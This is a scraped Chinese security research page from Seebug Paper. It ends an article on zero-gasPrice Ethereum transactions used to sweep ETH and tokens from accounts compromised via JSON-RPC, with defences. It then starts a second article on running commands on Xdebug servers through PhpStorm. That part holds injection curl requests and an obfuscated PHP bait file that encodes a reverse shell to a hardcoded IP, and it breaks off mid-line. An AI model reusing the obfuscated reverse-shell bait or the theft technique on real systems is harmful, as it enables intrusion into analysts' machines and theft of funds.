punctuation">,</span><span class="token string">"gasPrice"</span><span class="token punctuation">:</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token punctuation">}</span><span class="token punctuation">)</span>交互结果
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748> txpool.content{pending: {},queued: {}}> eth.getBalance(eth.accounts[0])800000000> personal.unlockAccount(eth.accounts[0],'sissel')true> INFO [08-14|11:20:14.972] Submitted transaction fullhash=0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4 recipient=0x92636b228148e2824cB8d472Ef2F4e76f2F5059C> txpool.content{pending: {0x092fda221a114FA702e2f59C217C92cfEB63f5AC: {3: {blockHash: "0x0000000000000000000000000000000000000000000000000000000000000000",blockNumber: null,from: "0x092fda221a114fa702e2f59c217c92cfeb63f5ac",gas: "0x5208",gasPrice: "0x0",hash: "0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4",input: "0x",nonce: "0x3",r: "0x1eca20e3f371ed387b35ca7d3220789399a3f64c449a825e0fa7423b96ce235c",s: "0x35a58e5cb5027c7903c1f1cc061ae846fb5150186ebbabb2b0766e4cbfc4aee6",to: "0x92636b228148e2824cb8d472ef2f4e76f2f5059c",transactionIndex: "0x0",v: "0x42",value: "0xa"}}},queued: {}}> miner.start(1)INFO [08-14|11:20:35.715] Updated mining threads threads=1INFO [08-14|11:20:35.716] Transaction pool price threshold updated price=18000000000nullINFO [08-14|11:20:35.717] Starting mining operation> INFO [08-14|11:20:35.719] Commit new mining work number=115 txs=1 uncles=0 elapsed=223µs> mINFO [08-14|11:20:36.883] Successfully sealed new block number=115 hash=ce2f34…210039INFO [08-14|11:20:36.885] ? block reached canonical chain number=110 hash=2b9417…850c25INFO [08-14|11:20:36.886] ? mined potential block number=115 hash=ce2f34…210039INFO [08-14|11:20:36.885] Commit new mining work number=116 txs=0 uncles=0 elapsed=202µs> miner.stop()true> eth.getBalance(eth.accounts[0])799999990节点一发起的零手续费交易成功,并且挖矿后成功将该交易打包进区块中。
b. 多节点共识测试
现在加入另一个节点
12345geth --datadir "./" --networkid 233 --rpc --rpcaddr "localhost" --port 30304 --rpcport "8546" --rpcapi "db,eth,net,web3" --verbosity 6 --nodiscover console使用这些方法添加节点> admin.nodeInfo> admin.addPeer()> admin.peers节点一仍使用刚才的脚本发起零手续费交易,节点一的txpool中成功添加,但节点二因为gasPrice非法拒绝了此交易。
1234TRACE[08-15|10:09:24.682] Discarding invalid transaction hash=3902af…49da03 err="transaction underpriced"> txpool.content[]在geth的配置中发现了与此相关的参数
1--txpool.pricelimit value Minimum gas price limit to enforce for acceptance into the pool (default: 1)将其启动时改为0,但节点二的txpool中仍未出现这笔交易。
阅读源码知,此参数确实是控制txpool增加的交易的最低gasPrice,但不能小于1。
1234if conf.PriceLimit < 1 {log.Warn("Sanitizing invalid txpool price limit", "provided", conf.PriceLimit, "updated", DefaultTxPoolConfig.PriceLimit)conf.PriceLimit = DefaultTxPoolConfig.PriceLimit}令节点一(txpool中含0 gasPrice)开始挖矿,将该交易打包进区块后,发现节点二认可了此区块,达成共识,两节点高度均增长了。
得到结论:
- 零手续费交易,通常情况下只有发起者的txpool可以接收,其余节点无法通过同步此交易。如若需要,必须进行修改geth源码等操作。
- 虽然这笔交易无法进入其他节点的txpool,但对于含此交易的区块,可以达成共识。
我们将进行简要的源代码分析,支持我们的结论。
0x04 源码分析
(以下的代码分析基于https://github.com/ethereum/go-ethereum的当前最新提交:commit 6d1e292eefa70b5cb76cd03ff61fc6c4550d7c36)
以太坊目前最流行的节点程序(Geth/Parity)都提供了RPC API,用于对接矿池、钱包等其他第三方程序。首先确认一下节点在打包txs时,代码的实现。
i. 交易池
代码路径:./go-ethereum/core/tx_pool.go
123456789101112<span class="token comment">// TxPool contains all currently known transactions. Transactions</span><span class="token comment">// enter the pool when they are received from the network or submitted</span><span class="token comment">// locally. They exit the pool when they are included in the blockchain.</span><span class="token keyword">type</span> TxPool <span class="token keyword">struct</span> <span class="token operator">{</span>config TxPoolConfigchainconfig <span class="token operator">*</span>params<span class="token operator">.</span>ChainConfigchain blockChaingasPrice <span class="token operator">*</span>big<span class="token operator">.</span>Int <span class="token comment"> //最低的GasPrice限制</span> <span class="token comment">/*其他参数*/</span><span class="token operator">}</span>生成一个tx实例时,发现有对gasPrice的最低要求,具体在这个函数中会拒绝接收此交易。
123456789101112131415<span class="token comment">// validateTx checks whether a transaction is valid according to the consensus</span><span class="token comment">// rules and adheres to some heuristic limits of the local node (price and size).</span><span class="token keyword">func</span> <span class="token operator">(</span>pool <span class="token operator">*</span>TxPool<span class="token operator">)</span> <span class="token function">validateTx<span class="token punctuation">(</span></span>tx <span class="token operator">*</span>types<span class="token operator">.</span>Transaction<span class="token operator">,</span> local <span class="token builtin">bool</span><span class="token operator">)</span> <span class="token builtin">error</span> <span class="token operator">{</span><span class="token comment"> // 在这里是gasPrice的校验</span> <span class="token keyword">if</span> <span class="token operator">!</span>local <span class="token operator">&&</span> pool<span class="token operator">.</span>gasPrice<span class="token operator">.</span><span class="token function">Cmp<span class="token punctuation">(</span></span>tx<span class="token operator">.</span><span class="token function">GasPrice<span class="token punctuation">(</span></span><span class="token operator">)</span><span class="token operator">)</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">{</span><span class="token keyword">return</span> ErrUnderpriced<span class="token operator">}</span><span class="token comment">/*...*/</span><span class="token keyword">return</span> <span class="token boolean">nil</span><span class="token operator">}</span>ii. 移除低于阈值的交易
代码路径:./go-ethereum/core/tx_list.go 并且在处理txs中,会将低于阈值的交易删除,但本地的交易不会删除。
1234567891011121314151617181920212223242526272829303132<span class="token comment">// Cap finds all the transactions below the given price threshold, drops them</span><span class="token comment">// from the priced list and returs them for further removal from the entire pool.</span><span class="token keyword">func</span> <span class="token operator">(</span>l <span class="token operator">*</span>txPricedList<span class="token operator">)</span> <span class="token function">Cap<span class="token punctuation">(</span></span>threshold <span class="token operator">*</span>big<span class="token operator">.</span>Int<span class="token operator">,</span> local <span class="token operator">*</span>accountSet<span class="token operator">)</span> types<span class="token operator">.</span>Transactions <span class="token operator">{</span>drop <span class="token operator">:=</span> <span class="token function">make<span class="token punctuation">(</span></span>types<span class="token operator">.</span>Transactions<span class="token operator">,</span> <span class="token number">0</span><span class="token operator">,</span> <span class="token number">128</span><span class="token operator">)</span><span class="token comment"> // Remote underpriced transactions to drop</span> save <span class="token operator">:=</span> <span class="token function">make<span class="token punctuation">(</span></span>types<span class="token operator">.</span>Transactions<span class="token operator">,</span> <span class="token number">0</span><span class="token operator">,</span> <span class="token number">64</span><span class="token operator">)</span> <span class="token comment"> // Local underpriced transactions to keep</span><span class="token keyword">for</span> <span class="token function">len<span class="token punctuation">(</span></span><span class="token operator">*</span>l<span class="token operator">.</span>items<span class="token operator">)</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">{</span><span class="token comment"> // Discard stale transactions if found during cleanup</span> tx <span class="token operator">:=</span> heap<span class="token operator">.</span><span class="token function">Pop<span class="token punctuation">(</span></span>l<span class="token operator">.</span>items<span class="token operator">)</span><span class="token operator">.</span><span class="token operator">(</span><span class="token operator">*</span>types<span class="token operator">.</span>Transaction<span class="token operator">)</span><span class="token keyword">if</span> <span class="token boolean">_</span><span class="token operator">,</span> ok <span class="token operator">:=</span> <span class="token operator">(</span><span class="token operator">*</span>l<span class="token operator">.</span>all<span class="token operator">)</span><span class="token operator">[</span>tx<span class="token operator">.</span><span class="token function">Hash<span class="token punctuation">(</span></span><span class="token operator">)</span><span class="token operator">]</span><span class="token operator">;</span> <span class="token operator">!</span>ok <span class="token operator">{</span><span class="token comment"> // 如果发现一个已经删除的,那么更新states计数器</span> l<span class="token operator">.</span>stales<span class="token operator">--</span><span class="token keyword">continue</span><span class="token operator">}</span><span class="token comment"> // Stop the discards if we've reached the threshold</span> <span class="token keyword">if</span> tx<span class="token operator">.</span><span class="token function">GasPrice<span class="token punctuation">(</span></span><span class="token operator">)</span><span class="token operator">.</span><span class="token function">Cmp<span class="token punctuation">(</span></span>threshold<span class="token operator">)</span> <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">{</span><span class="token comment"> // 如果价格不小于阈值, 那么退出</span> save <span class="token operator">=</span> <span class="token function">append<span class="token punctuation">(</span></span>save<span class="token operator">,</span> tx<span class="token operator">)</span><span class="token keyword">break</span><span class="token operator">}</span><span class="token comment"> // Non stale transaction found, discard unless local</span> <span class="token keyword">if</span> local<span class="token operator">.</span><span class="token function">containsTx<span class="token punctuation">(</span></span>tx<span class="token operator">)</span> <span class="token operator">{</span> <span class="token comment"> //本地的交易不会删除</span> save <span class="token operator">=</span> <span class="token function">append<span class="token punctuation">(</span></span>save<span class="token operator">,</span> tx<span class="token operator">)</span><span class="token operator">}</span> <span class="token keyword">else</span> <span class="token operator">{</span>drop <span class="token operator">=</span> <span class="token function">append<span class="token punctuation">(</span></span>drop<span class="token operator">,</span> tx<span class="token operator">)</span><span class="token operator">}</span><span class="token operator">}</span><span class="token keyword">for</span> <span class="token boolean">_</span><span class="token operator">,</span> tx <span class="token operator">:=</span> <span class="token keyword">range</span> save <span class="token operator">{</span>heap<span class="token operator">.</span><span class="token function">Push<span class="token punctuation">(</span></span>l<span class="token operator">.</span>items<span class="token operator">,</span> tx<span class="token operator">)</span><span class="token operator">}</span><span class="token keyword">return</span> drop<span class="token operator">}</span>
以上部分为区块链网络内一节点,尝试接收或加入 0 gasPrice 的交易时,会有部分过滤或规则限制。但通过修改源码,我们依然可以做到将 0 gasPrice 的交易合法加入到区块中,并进行之后的nonce计算。下面继续源码分析,考察通过此方式得到的区块,是否可以被其他节点接受,达成共识。
iii. 共识校验
代码路径:./go-ethereum/consensus/consensus.go 这是geth中,提供的共识算法engine接口
12345678910111213141516171819202122232425262728<span class="token keyword">type</span> Engine <span class="token keyword">interface</span> <span class="token operator">{</span><span class="token comment"> // 签名</span> <span class="token function">Author<span class="token punctuation">(</span></span>header <span class="token operator">*</span>types<span class="token operator">.</span>Header<span class="token operator">)</span> <span class="token operator">(</span>common<span class="token operator">.</span>Address<span class="token operator">,</span> <span class="token builtin">error</span><span class="token operator">)</span><span class="token comment">/*验证了header、seal,处理难度等函数...*/</span><span class="token comment"> // 预处理区块头信息,修改难度等</span> <span class="token function">Prepare<span class="token punctuation">(</span></span>chain ChainReader<span class="token operator">,</span> header <span class="token operator">*</span>types<span class="token operator">.</span>Header<span class="token operator">)</span> <span class="token builtin">error</span><span class="token comment"> // 区块奖励等,挖掘出区块后的事情</span> <span class="token function">Finalize<span class="token punctuation">(</span></span>chain ChainReader<span class="token operator">,</span> header <span class="token operator">*</span>types<span class="token operator">.</span>Header<span class="token operator">,</span> state <span class="token operator">*</span>state<span class="token operator">.</span>StateDB<span class="token operator">,</span> txs <span class="token operator">[</span><span class="token operator">]</span><span class="token operator">*</span>types<span class="token operator">.</span>Transaction<span class="token operator">,</span>uncles <span class="token operator">[</span><span class="token operator">]</span><span class="token operator">*</span>types<span class="token operator">.</span>Header<span class="token operator">,</span> receipts <span class="token operator">[</span><span class="token operator">]</span><span class="token operator">*</span>types<span class="token operator">.</span>Receipt<span class="token operator">)</span> <span class="token operator">(</span><span class="token operator">*</span>types<span class="token operator">.</span>Block<span class="token operator">,</span> <span class="token builtin">error</span><span class="token operator">)</span><span class="token comment"> // 计算nonce,若收到更高的链,则退出</span> <span class="token function">Seal<span class="token punctuation">(</span></span>chain ChainReader<span class="token operator">,</span> block <span class="token operator">*</span>types<span class="token operator">.</span>Block<span class="token operator">,</span> stop <span class="token operator"><-</span><span class="token keyword">chan</span> <span class="token keyword">struct</span><span class="token operator">{</span><span class="token operator">}</span><span class="token operator">)</span> <span class="token operator">(</span><span class="token operator">*</span>types<span class="token operator">.</span>Block<span class="token operator">,</span> <span class="token builtin">error</span><span class="token operator">)</span><span class="token comment"> // 计算难度值</span> <span class="token function">CalcDifficulty<span class="token punctuation">(</span></span>chain ChainReader<span class="token operator">,</span> time <span class="token builtin">uint64</span><span class="token operator">,</span> parent <span class="token operator">*</span>types<span class="token operator">.</span>Header<span class="token operator">)</span> <span class="token operator">*</span>big<span class="token operator">.</span>Int<span class="token comment"> // APIs returns the RPC APIs this consensus engine provides.</span> <span class="token function">APIs<span class="token punctuation">(</span></span>chain ChainReader<span class="token operator">)</span> <span class="token operator">[</span><span class="token operator">]</span>rpc<span class="token operator">.</span>API<span class="token comment"> // Close terminates any background threads maintained by the consensus engine.</span> <span class="token function">Close<span class="token punctuation">(</span></span><span class="token operator">)</span> <span class="token builtin">error</span><span class="token operator">}</span>查看VerifySeal(),发现校验了如下内容:
- 不同模式下的一些特殊处理
- 难度是否合法
- nonce值是否合法
- gas值是否合法
可以看到,其他节点针对共识,检查了签名、nonce等内容,对于其中零手续费的交易没有检验。换句话说,零手续费的交易虽然不能激励矿工,但它依然是合法的。
0x05 利用流程
攻击者首先以偷渡漏洞利用的方式,构造零手续费,正常的transfer交易。待用户解锁账户后,广播交易。具体流程见下图:
0x06 小结
由此我们可以得出,0 gasPrice这样的特殊交易,有如下结论:
- 通常情况下,0 gasPrice可通过节点自身发起加入至txpool中。
- 以 geth 为例,修改geth部分源码重新编译运行,该节点方可接受其他节点发出的特殊交易(目标账户发起的0 gasPrice交易)。此为攻击者需要做的事情。
- 0 gasPrice的交易可以打包进区块,并且符合共识要求。
因为json-rpc接口的攻击方式中,攻击者可以通过偷渡漏洞签名 0 gasPrice交易并广播。通过收集此类0 gasPrice交易并添加至部分矿工的txpool中,当该矿工挖出一个新的区块,这类交易也将会被打包。即攻击者可能与部分矿工联手,或攻击者本身就有一定的运算能力,让矿工不再遵循诚实挖矿维护区块链系统的原则,
0x07 利用价值及防御方案
因为零手续费交易的出现,诸多低收益的攻击都将拥有意义。
提高收益
攻击者可以通过此种方式,结合其他的攻击手法,将被攻击账户中的余额全部转出,达到了收益最大化。
羊毛薅尽
依照《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中提到的攻击方式,对于账户余额较少,甚至不足以支付转账手续费的情况,可通过上文提到的薅羊毛式攻击方案,将账户中的
残羹
收入囊中。由于此交易gasPrice为0,可在一区块中同时打包多个此类型交易,例如此合约下的多组交易:0x1a95b271b0535d15fa49932daba31ba612b52946,此区块中的几笔交易:4788940偷渡代币
在被盗账户已无以太币的情况下,攻击者发现这些账户还存有部分智能合约发行的代币。没有以太币便不能支付gas进行转账,零手续费交易可以完美解决这个问题。直到现在,有诸多无以太币的被攻击账户,仍在被此方式转账代币。
防御方案
由于0 gasPrice交易只是扩展其他攻击方案的手法,还应将防御着眼在之前json-rpc接口利用。
- 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点,建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
- 建议用户不要使用弱口令作为账户密码,如果已经使用了弱口令,可以根据1.2节末尾的内容解出私钥内容,再次通过 geth account import 命令导入私钥并设置强密码。
- 如节点不需要签名转账等操作,建议节点上不要存在私钥文件。如果需要使用转账操作,务必使用 personal_sendTransaction 接口,而非 personal_unlockAccount 接口。
0x08 影响规模
我们从上面说到的0 gasPrice的交易入手。调查发现,近期依然有许多交易,以0 gasPrice成交。多数0手续费交易都出自矿池:0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5和0x52e44f279f4203dcf680395379e5f9990a69f13c,例如区块 6161214、6160889等。
我们注意到,这些0 gasPrice交易,仅有早期的少部分交易,会携带较少的以太币,这符合我们对其薅羊毛特性的预计。经统计,从2017年6月起,陆续有748个账户总计24.2eth被零手续费转账。
在其中也找到了《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中提到的重放攻击,造成的账户损失:0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909
被盗走0.05eth
在这些0 gasPrice中,更多的是对合约发行的TOKEN,进行的转账请求,将用户账户中的token转移至合约拥有者账户中,例如:
该账户的tx记录。
攻击者拥有多个矿池的算力,将众多被攻击账户拥有的多种token,转移到相应的账户中,虽然单笔交易金额较小,但可进行此种攻击方式的账户较多,合约较多,且不需要手续费。积少成多,直到现在,攻击者仍在对这些代币进行着拾荒攻击。
0x09 结语
区块链系统基于去中心化能达成交易的共识,一个前提就是,绝大多数的矿工,都会通过诚实挖矿来维持整个比特币系统。当矿工不再诚实,区块链的可信性和去中心化将会大打折扣。当黑客联合矿工,或黑客本身拥有了算力成为矿工,都会在现有攻击手法的基础上,提供更多的扩展攻击方案。0 gasPrice交易的出现,违背了区块链设计初衷,即应对矿工支付手续费作为激励。 区块链技术与虚拟货币的火热,赋予了链上货币们巨大的经济价值,每个人都想在区块链浪潮中分得一杯羹。黑客们更是如此,他们作为盗币者,绞尽脑汁的想着各个角度攻击区块链与合约。当黑客栖身于矿工,他们不但能挖出区块,也能挖出漏洞。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
参考链接
- json-rpc接口盗币手法:金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘
- https://www.reddit.com/r/ethereum/comments/7lx1do/a_christmas_mystery_sweepers_and_zero_gas_price/
- how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f
- 零手续费交易:https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22
- 慢雾命名的“以太坊黑色情人节”,细节:以太坊生态缺陷导致的一起亿级代币盗窃大案:https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
- 揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币:https://paper.seebug.org/547/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/673/
-
Xdebug 攻击面在 PhpStorm 上的现实利用
作者: dawu@知道创宇404实验室
日期:2018/08/160x00 前言
在调试
Drupal
远程命令执行漏洞(CVE-2018-7600 && CVE-2018-7602)时,存在一个超大的数组$form
。在该数组中寻找到注入的变量,可以帮助调试人员确认攻击是否成功。但是作为一个安全研究人员,在调试时也保持着一颗发现漏洞的心,所以知道
$form
中的每一个元素的内容就十分重要了。然而PhpStorm
这款调试工具需要不断的点击才能看到数组中各元素的值,这显然非常低效。笔者在官方手册中发现了一种解决方案:
但是
Evaluate in Console
看上去就具有一定的危险性,所以笔者深入研究了该功能的实现过程并成功通过PhpStorm
在Xdebug
服务器上执行了命令。0x01 准备工作
1.1 Xdebug的工作原理和潜在的攻击面
Xdebug
工作原理和潜在的攻击面前人已有部分文章总结:综合上述参考链接,已知的攻击面有:
eval
命令: 可以执行代码。property_set && property_get
命令: 可以执行代码source
命令: 可以阅读源码。- 利用
DNS
重绑技术可能可以导致本地Xdebug
服务器被攻击。
就本文而言
PhpStorm
和Xdebug
进行调试的工作流程如下:PhpStorm
开启调试监听,默认绑定9000
、10137
、20080
端口等待连接。- 开发者使用
XDEBUG_SESSION=PHPSTORM
(XDEBUG_SESSION的内容可以配置,笔者设置的是PHPSTORM) 访问php
页面。 Xdebug
服务器反连至PhpStorm
监听的9000
端口。- 通过步骤3建立的连接,开发者可以进行阅读源码、设置断点、执行代码等操作。
如果我们可以控制
PhpStorm
在调试时使用的命令,那么在步骤4中攻击面1
、2
、3
将会直接威胁到Xdebug
服务器的安全。1.2 实时嗅探脚本开发
工欲善其事,必先利其器
。笔者开发了一个脚本用于实时显示PhpStorm
和Xdebug
交互的流量(该脚本在下文截图中会多次出现):12345678910111213141516171819202122232425262728293031323334353637from scapy.all import *import base64Terminal_color = {"DEFAULT": "\033[0m","RED": "\033[1;31;40m"}def pack_callback(packet):try:if packet[TCP].payload.raw_packet_cache != None:print("*"* 200)print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport))print(packet[TCP].payload.raw_packet_cache.decode('utf-8'))if packet[TCP].payload.raw_packet_cache.startswith(b"eval"):print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"):variable = ""for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "):if "$" in i:variable = iprint("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache:raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8')CDATA_postion = raw_data.find("CDATA")try:eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")])print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT']))except:passexcept Exception as e:print(e)print(packet[TCP].payload)dpkt = sniff(iface="vmnet5",filter="tcp", prn=pack_callback)# 这里设置的监听网卡是 vmnet5,使用时可以根据实际的网卡进行修改0x02 通过
PhpStorm
在Xdebug
服务器上执行命令2.1 通过
Evaluate in Console
执行命令通过上文的脚本,可以很清晰的看到我们在执行
Evaluate in Console
命令时发生了什么(红色部分是base64
解码后的结果):如果我们可以控制
$q
,那我们就可以控制eval
的内容。但是在PHP
官方手册中,明确规定了变量名称应该由a-zA-Z_\x7f-\xff
组成:Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'
所以通过控制
$q
来控制eval
的内容并不现实。但是在PhpStorm
获取数组中某个元素时,会将该元素的名称带入eval
的语句中。如图所示,定义数组如下:
$a = ( "aaa'bbb"=>"ccc")
,并在PhpStorm
中使用Evaluate in Console
功能。可以看到单引号未做任何过滤,这也就意味着我可以控制
eval
的内容了。在下图中,我通过对$a['aaa\'];#']
变量使用Evaluate in Console
功能获取到$a['aaa']
的值。精心构造的请求和代码如下:
1234567891011$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"<?php$a = array();$q = $_GET['q'];$a['a'] = 'system';$b = "date >> /tmp/dawu";$a[$q] = "aaa";echo $a;?>但在这个例子中存在一个明显的缺陷:
可以看到恶意的元素名称
。如果用于钓鱼攻击,会大大降低成功率,所以对上述的代码进行了一定的修改:1234567891011$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"<?php$a = array();$q = $_GET['q'];$a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system';$b = "date >> /tmp/dawu";$a[$q] = "aaa";echo $a;?>在元素名称足够长时,
PhpStorm
会自动隐藏后面的部分:2.2 通过
Copy Value As
执行命令继续研究发现,
COPY VALUE AS (print_r/var_export/json_encode)
同样也会使用Xdebug
的eval
命令来实现相应的功能:再次精心构造相应的请求和代码后,可以再次在
Xdebug
服务器上执行命令:12curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"2.3 实际攻击探究
基于上述的研究,我认为可以通过
PhpStorm
实现钓鱼攻击。假设的攻击流程如下:- 攻击者确保受害者可以发现恶意的
PHP
文件。例如安全研究人员之间交流某大马
具体实现了哪些功能、运维人员发现服务器上出现了可疑的PHP
文件。 - 如果受害者在大致浏览
PHP
文件内容后,决定使用PhpStorm
分析该文件。 - 受害者使用
COPY VALUE AS (print_r/var_export/json_encode)
、Evaluate array in Console
等功能。命令将会执行。 - 攻击者可以收到受害者
Xdebug
服务器的shell
。
精心构造的代码如下(其中的反连IP地址为临时开启的VPS):
123456789101112131415161718192021<?php$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]";$a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode$b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval$c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system$e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK$f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));#$g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$